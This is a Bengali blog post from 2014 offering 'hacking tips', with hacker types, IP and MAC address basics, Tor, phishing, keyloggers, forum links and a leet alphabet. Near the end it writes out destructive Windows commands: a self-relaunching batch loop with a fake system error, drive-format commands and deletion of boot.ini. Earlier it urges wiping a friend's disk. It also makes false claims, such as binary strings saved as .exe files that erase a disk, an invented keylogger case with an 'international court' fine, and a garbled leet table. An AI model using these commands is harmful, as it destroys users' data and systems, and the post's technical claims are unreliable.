jewelheron2@gmail.com

Monday, January 20, 2014

হ্যাক টক অ্যান্ড ট্রিপ্স ও জেনে নিন হ্যাকারদের সাংকেতিক ভাষা-লিট

10:00 AM

Share it Please


আশা করি সবাই ভাল আছেন, টাইটেল দেখে অনেকেই বোঝে গেছেন কি নিয়ে আলোচনা করতে যাচ্ছি, হ্যাঁ, আগের কয়েকটি পোস্টের মত এবারও হ্যাকিং টাইপের কিছু টিপস থাকবে সেই সাথে হ্যাকিং এর বেসিক কয়েকটি বিষয় নিয়ে আলোচনা করব। তবে যারা ফেসবুক, ইমেইল আইডি, ওয়েবসাইট ইত্যাদি হ্যাক করা শিখে ফেলবেন এই আশায় পোস্টটি পড়া শুরু করে দিয়েছেন তাদের বলব, ভাই ইতি টানেন, আমি এমন কিছু শিখাতে চাইনা যা অন্যের মাথা ব্যাথার কারণ হয়, তবে যে কয়েকটি বিষয় বা টিপস নিয়ে কথা বলব তা কেবল আপনার জানার জন্য, যাতে কখনো ভিকটিভ না হোন। যাই হোক টপিকে ফিরে আসি, নিচের কোডটি আপনার নোটপ্যাড অপেন করে তাড়াতাড়ি লিখে ফেলুন-
01001011000111110010010101010101010000011111100000

নির্দেশনায় কিছু বলার আগেই করে ফেলবেন না, এখন কোডটি সেইভ করুন যে কোন নাম শেষে .exe দিয়ে। এবার প্রোগ্রামটি রান করলে ৫ সেকেন্ড এর মধ্যেই হার্ডডিস্ক খালি হয়ে যাবে। আপনার কোন বন্ধু যদি আপনার পারসোনাল কিছু তার হার্ডডিস্কে লুকিয়ে রেখে আপনাকে ব্ল্যাকমেইল করার চেষ্টা করে যা আপনি অনেক খোঁজেও তার পিসিতে পাবেন না সেই অবস্থায় কোডটি কত কাজের তা বোঝতেই পারছেন। যাই হোক কথা এটা না, কথা হল এই যে একটা কোড লিখলেন এই কোডটা আসলে কী? কোডটা আসলে কিছু না, এই কোডিং দিয়ে যে কাজটা করলেন এটাই হল হ্যাক। তাহলে বোঝতেই পারছেন হ্যাকার হতে হলে আপনাকে ভাল একজন কোডার বা প্রোগ্রামার হতে হবে। আর এই রকম কোড দিয়ে যারা হ্যাক করে তাদের বলা হয় Elit Hacker। সাধারণত যে ৬ ধরনের হ্যাকার পাওয়া যায় তাদের মধ্যে এঁরাই সবচেয়ে দক্ষ। আপনি যদি হ্যাকার হতে চান তাহলে আমার পরামর্শ একজন এলিট হ্যাকার হোন। বাকি হ্যাকারদের সাথে একটু পরিচত হয়ে নিন-
১। White Hat Hacker: এরা সাইভার জগতে নিরাপত্তায় থাকে, তাদেরকে ইথিকাল হ্যাকারও বলা হয়।
২। Black Hat Hacker: হ্যাক কথা শুনলে সবার মাঝে যে আতংক সৃষ্টি তা মূলত এই হ্যাকারদের কারণে, কারণ এরা সব সময় ধ্বংসের কাজে লিপ্ত থাকে।
৩। Grey hat Hacker: এরা White ও Black এর মিশ্রন।
৪। Elit: এদের কথা তো শুরুতে বলেই দিলাম।
৫। Script Kiddy: এরা আসলে নিজেরা মৌলিক কোন কোড তৈরি করতে পারে না, অন্যের বানানো কোডগুলাই নিজেরা হ্যাকিং এর কাজে ব্যবহার করে থাকে। যেমন একদম শুরুতে যে কোড দিয়েছিলাম সেটা দিয়ে যদি আপনি কোন কাজ কাজ করে ফেলেন, তাহলে আপনিও তাদের অন্তর্ভুক্ত।
৬। Neophyte Hacker: এরা সাধারণত শিক্ষার্থী, এদের নুব হ্যাকারও বলা হয়ে থাকে।
এবার দেখুন হ্যাকাররা সাধারণত হ্যাকিং এর কাজে যে বিষয়গুলো মাথায় রাখে-
প্রথমত, তাদেরকে আইপি এড্রেস (IP Address=Internet Protocol Address) চেঞ্জ করে নিতে হয়,  ভার্চুয়াল জগৎ আপনি একটা এড্রেস এর উপর ভর করে আছেন আর আপনি যে আইপি এড্রেসটির মালিক তা আর কারও কাছে নেই। আপনার ইন্টারনেট সেবাদানকারী প্রতিষ্ঠান এই আইপি এড্রেস এর মাধ্যমেই আপনাকে চিনে থাকে। এই ( http://www.whatismyip.com/  ) এড্রেস এ গেলেই আপনার আইপি আপনি দেখতে পারবেন। আর সেই জন্যই নিজেক লুকিয়ে রাখার জন্য আপনাকে আইপি হাইডার সফটওয়্যারসহ বিশেষ ধরনের ব্রাউজার বিশেষ করে টর ব্রাউজারটি ব্যবহার করা হয়। এই ব্রাউজারের বিশেষ গুন হল আপনার পরিচয় গোপন রেখে যে কোন সাইটে (সেই সাইট ব্লক করা হোক আর ড্রাক সাইট হোক) প্রবেশ করতে পারবেন। বাংলাদেশে যখন ইউটিউব বন্ধ ছিল তখনে অনেকে এটা ব্যবহার করে থাকতে পারেন। আমি প্রায়ই আমার ভার্সিটি ল্যাবে এটা ব্যবহার করি, কারণ আমার ভার্সিটি ল্যাবে ফেসবুক, টুইটার বন্ধ করে রাখা। বিরক্তিকর টপিক এর ক্লাসে এটাই আমার টাইম পাসের শেষ ভরসা। যাইহোক এটা এখান থেকে ডাউনলোড করে রাখতে পারেন।
হ্যাকাররা নিজেকে লুকিয়ে রাখার জন্যে আর একটা কাজ করে থাকে, সেটা হলো তাদেরকে ম্যাক এড্রেস চেঞ্জ করে নিতে হয়। ম্যাক এড্রেস হলো কোন নেটওয়ার্ক ডিভাইসের জন্য একটি ইউনিক টাইপের শনাক্তকারী নাম্বার। যেমন : 05:9b:bd:89:e4:4q। এটা হেক্সাডেসিমাল এ থাকে। কোন ডিভাইসে ম্যাক এড্রেস ঐ ডিভাইসের তৈরিকারী প্রতিষ্ঠান দিয়ে থাকে। ম্যাক এড্রেসের প্রথম অর্ধেক ডিভাইসটি কোন মডেল এর আর বাকী অর্ধেক হচ্ছে ঐ ডিভাইসটির ইউনিক নাম্বার। অনেকটা হ্যান্ডসেটের IMIE বা গাড়ির VIN নাম্বারের সাথে তুলনা করা যায়।
দেখে নিন আপনার ম্যাক এড্রেসটি-
Go To Start>
Search Programs & Files লিখুন- Network and Sharing Center>
এবার লেফট সাইট হতে Change Adapter Settings নির্বাচন করুন>
এখন যে কানেকশন এর ম্যাক এড্রেস দেখতে চান তার উপর মাউসের রাইট বাটনে ক্লিক করুন>
এবার Properties এ ক্লিক করে Connect Using এর নিচে মাউস রাখলেই আপনার ম্যাক এড্রেস দেখতে পাবেন।
যেহেতু একজন হ্যাকার একজন প্রোগ্রামার আর তার কাজই হল ভার্চুয়াল জগতের বিভিন্ন খুঁতগুলো বের করা আর সেই জন্য তাকে এই জগতের বিভিন্ন বিষয়ের সাথে আপডেট হয়ে থাকতে হয়। তাই হ্যাকাররা একত্রিতভাবে বিভিন্ন ফোরামের সাথে লেগে থাকে এবং নিত্য নতুন টিপসগুলো সংগ্রহে রাখে। সেরকম কয়েকটি ফোরাম হল-
www.hackerthreads.org
www.hackhound.org/
www.hackforums.net
www.hacker.org/forum
www.hackthissite.org/
www.crackhackforum.com
এই পোস্টটি ধৈর্য নিয়ে যারা এখনো পড়ছেন বলার অপেক্ষা রাখেনা আপনারা সবাই হ্যাকিং এর প্রতি খুব আগ্রহী আর হ্যাকিং আগ্রহীরা ফিশিং এবং কী-লগার নামটি নিশ্চয় শুনে থাকবেন।
ফিশিং: সহজ ভাষায় বলি ফিশিং হল মাছ ধরার মত। খুব সহজেই আপনার ইমেইল আর পাসওয়ার্ড চুরি করে নেবে যদি আপনি একটু সচেতন না হোন। হ্যাকাররা যে সাইটটি হ্যাক করবে সেই সাইটের ন্যায় হুবহু আরেকটি নকল সাইট বানিয়ে একটি হোস্টিং সাইটে রেখে একটি লিঙ্ক তৈরি করে নেবে যা অরিজিনাল সাইটের লিঙ্ক থেকে সম্পূর্ণ ভিন্ন। এই লিঙ্কটি বড়শির টুপের মত বিভিন্ন প্রলোভন দেখিয়ে আপনাকে সেন্ড করা হবে। আপনি যদি লিঙ্কের দিকে নজর না রেখে ঐ লিঙ্কের নির্দেশনা ফলো করে যেতে থাকেন তাহলে ধরা খাবেন।
কী-লগার: এটাও সহজ ভাষায় বলি, কী-লগার সিস্টেমটা আসলে সফটওয়্যারের মাধ্যমে করা হয় আবার কোন কোন ক্ষেত্রে হার্ডওয়্যারের মাধ্যমেও করা হয়। এটা আসলে অনেকটা গোপন সি সি ক্যামেরার মত যা আপনার পিসিতে আপনারই অজান্তে সেট করা হয় যা আপনার পিসির কী বোর্ডের প্রতিটি তথ্য হ্যাকারের কাছে পোঁছে দেয়। আপনার তথ্য গুলো সাধারণত C:\  ড্রাইভ এ একটা  .TXT  ফাইল হিসেবে সেভ হয় । কী-লগিং এর একটা ক্রাইমের কথা বলি। ২০০৫ সালে একদল হ্যাকার লন্ডনের একটা অফিস হতে মাত্র ১৩ কেবির একটা কী-লগার দিয়ে ৮২৩ মিলিয়ন ব্রিটিশ পাউন্ড চুরি করার চেষ্টা করে, পরে ছোট্ট একটা ভুলের কারণে এই কী-লগার ডিজাইনার Yeron Bolond ধরা পড়েন। তখন থেকে আন্তর্জাতিক আদালতে একটা আইন পাশ হয় $90000 ফাইন অথবা বিনাশ্রম কারাদন্ড।
অনেক কথাই তো বললাম, এবার দেখে নিন হ্যাকারদের ভাষাটা আসলে কী। হ্যাকাররা নিরাপত্তার স্বার্থে একটা সাংকেতিক ভাষা কথা বলে থাকে, এটা লিট ভাষা {(LEET) বা ১৩৩৭ 1=L; 3=E; 3=E; 7=T} নামে পরিচিত। এ ভাষায় মূলত ASCII চিহ্ন রাখা হয়। আপনি নিজেও অনেক লিট ভাষা জানেন, যেমন-
lol = laughing out loud
omg = oh my god
sleep = reboot
the = teh
hello = ping
kill = frag
friends = n00bz
লিট লেটার গুলো শিখে রাখুন, খুব কঠিন কিছু না, কেবল ইংলিশ লেটারগুলোর পরিবর্তে ভিন্ন বর্ণ বা সংখ্যা বসিয়ে দেয়া হয়েছে-
Capital letters: 
A=@; B=|3; C=(; D = |); E=3; F=|=; G=6; H=|-|; I=|; J=_|; K=|(; L=|_; M=//, N=//; O=0; P= |*; Q=0; R=|2; S=$; T=7; U=|_|; V=/; W=//; X=)(; Y=’/; Z=2।
Smaller letters: 
a=4; b=8; c=©; d=|>; e=3; f#; g=9; h=h; i=|; j=j; k=|<; l=1; m=m; n=n; p=|*; Q=0; r=®; s=5; t=+; u=00; v=/; w=//; x=><; y=j; z=2।
Prime number:
0=0 or (); 1=L I or | ][; 2=Z; 3=E; 4=A; 5=S; 6=G; 7=T; 8=B; 9=G।
এইবার এলিট হ্যাকারদের ব্যবহার করা আরও দুইটি কোড দেই, এগুলো কেউ নিজের পিসিতে এপ্লাই করতে যাবেন না আর কারো ক্ষতি করার কাজে ব্যবহার করবেন না, এইগুলো কেবল শিখার জন্য, যদি অসৎ কাজে ব্যবহার করেন আমি কিংবা এই ব্লগ দায়ী নয়। তাহলে দেখুন-
(১) উইন্ডোস অপারেটিং ধ্বংস করার কোড-
@echo off :START
echo Error, Critical Windows Failure. Format Hard Disk and Reinstall OS!
start hi.bat
GOTO START
এই কোডটি নোডপ্যাডে লিখে যে কোন নামের সাথে .bat  দিয়ে সেইভ দিবেন।
(২) ড্রাইভ ধ্বংসের কোড-
format c:\ /Q/X — this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100 0010000000101111010100010010111101011000
format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001
এই কোডটি আগের মত নোডপ্যাডে লিখে যে কোন নামের সাথে .exe  দিয়ে সেইভ দিবেন।
আজ এই পর্যন্তই থাক, পরবর্তীতে এই গুলো নিয়ে আরও কথা হবে বিশেষ করে ফিশিং ও কী-লগার হ্যাক এর নিয়ম নিয়ে একটা পোস্ট করব, আমি আজ যে বিষয়গুলো উপস্থাপন করেছি এগুলো কোন সংজ্ঞা বা মূল নিয়ম না, সংজ্ঞায় বা মূল নিয়মে গেলে আরও অনেক কিছু চলে আসবে যা আপনাদের ভাল করে বোঝাতে পারব না বা আমি নিজেও এখনো অনেক কিছু আছে বোঝিনা, আমি কেবল আমার মত করে বলার চেষ্টা করেছি যাতে আপনাদের হ্যাক বিষয়ে প্রাথমিক কিছু আইডিয়া তৈরি হয় বিশেষ করে যারা এই ব্যাপারে নতুন এবং এই বিষয়ে খুবই আগ্রহী।
ভাল ও নিরাপদে থাকবেন। ধন্যবাদ সবাইকে…!!!

0 comments:

Post a Comment

Twitter Update

Recent Visitor